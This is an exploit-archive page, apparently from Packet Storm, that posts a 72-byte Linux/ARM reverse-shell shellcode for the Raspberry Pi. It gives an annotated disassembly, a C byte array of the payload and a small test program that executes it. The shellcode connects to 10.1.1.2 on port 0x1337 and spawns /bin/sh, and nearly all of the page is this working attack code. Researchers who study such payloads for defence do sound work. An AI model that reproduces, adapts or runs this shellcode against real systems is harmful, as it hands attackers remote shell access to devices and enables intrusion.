exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Raspberry Pi Linux/ARM Reverse Shell Shellcode

Raspberry Pi Linux/ARM Reverse Shell Shellcode
Posted Sep 12, 2012
Authored by midnitesnake

72 bytes small Raspberry Pi Linux/ARM reverse_shell(tcp,10.1.1.2,0x1337) shellcode.

tags | tcp, shellcode
systems | linux
SHA-256 | 33477d9d007d6784386a6fd40196c1a6cc8adde4241c48bc9ed3a6600246f486

Raspberry Pi Linux/ARM Reverse Shell Shellcode

Change Mirror Download
/*
Title: Linux/ARM - reverse_shell(tcp,10.1.1.2,0x1337)
execve("/bin/sh", [0], [0 vars]) - 72 bytes
Date: 2012-09-08
Tested on: ARM1176JZF-S (v6l) - Raspberry Pi
Author: midnitesnake

00008054 <_start>:
8054: e28f1001 add r1, pc, #1
8058: e12fff11 bx r1
805c: 2002 movs r0, #2
805e: 2101 movs r1, #1
8060: 1a92 subs r2, r2, r2
8062: 020f lsls r7, r1, #8
8064: 3719 adds r7, #25
8066: df01 svc 1
8068: 1c06 adds r6, r0, #0
806a: a108 add r1, pc, #32 ; (adr r1,
808c <Dup+0x16>)
806c: 2210 movs r2, #16
806e: 3702 adds r7, #2
8070: df01 svc 1
8072: 273f movs r7, #63 ; 0x3f
8074: 2102 movs r1, #2

00008076 <Dup>:
8076: 1c30 adds r0, r6, #0
8078: df01 svc 1
807a: 3901 subs r1, #1
807c: d5fb bpl.n 8076 <Dup>
807e: a005 add r0, pc, #20 ; (adr r0,
8094 <Dup+0x1e>)
8080: 1a92 subs r2, r2, r2
8082: b405 push {r0, r2}
8084: 4669 mov r1, sp
8086: 270b movs r7, #11
8088: df01 svc 1
808a: 46c0 nop ; (mov r8, r8)
808c: 37130002 .word 0x37130002
8090: 0301010a .word 0x0301010a
8094: 6e69622f .word 0x6e69622f
8098: 0068732f .word 0x0068732f
809c: 00 .byte 0x00
809d: 00 .byte 0x00
809e: 46c0 nop ; (mov r8, r8)
*/
#include <stdio.h>
#include <string.h>

#define SWAP16(x) ((x) << 8 | ((x) >> 8))

const unsigned char sc[] = {

0x01, 0x10, 0x8F, 0xE2,
0x11, 0xFF, 0x2F, 0xE1,

0x02, 0x20, 0x01, 0x21,
0x92, 0x1a, 0x0f, 0x02,
0x19, 0x37, 0x01, 0xdf,
0x06, 0x1c, 0x08, 0xa1,
0x10, 0x22, 0x02, 0x37,
0x01, 0xdf, 0x3f, 0x27,
0x02, 0x21,

0x30, 0x1c, 0x01, 0xdf,
0x01, 0x39, 0xfb, 0xd5,
0x05, 0xa0, 0x92, 0x1a,
0x05, 0xb4, 0x69, 0x46,
0x0b, 0x27,0x01, 0xdf,
0xc0, 0x46,

/* struct sockaddr */
0x02, 0x00,
/* port: 0x1337 */
0x13, 0x37,
/* ip: 10.1.1.2 */
0x0A, 0x01, 0x01, 0x02,

/* "/bin/sh\0" */
0x2f, 0x62, 0x69, 0x6e,0x2f, 0x73, 0x68, 0x00
};

int main()
{
printf("shellcode=%d bytes\n"
"connecting to %d.%d.%d.%d:%hd\n", sizeof sc,
sc[0x3c], sc[0x3d], sc[0x3e], sc[0x3f],
SWAP16(*((unsigned short *)(sc+0x3a))));
return ((int (*)(void))sc)();
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close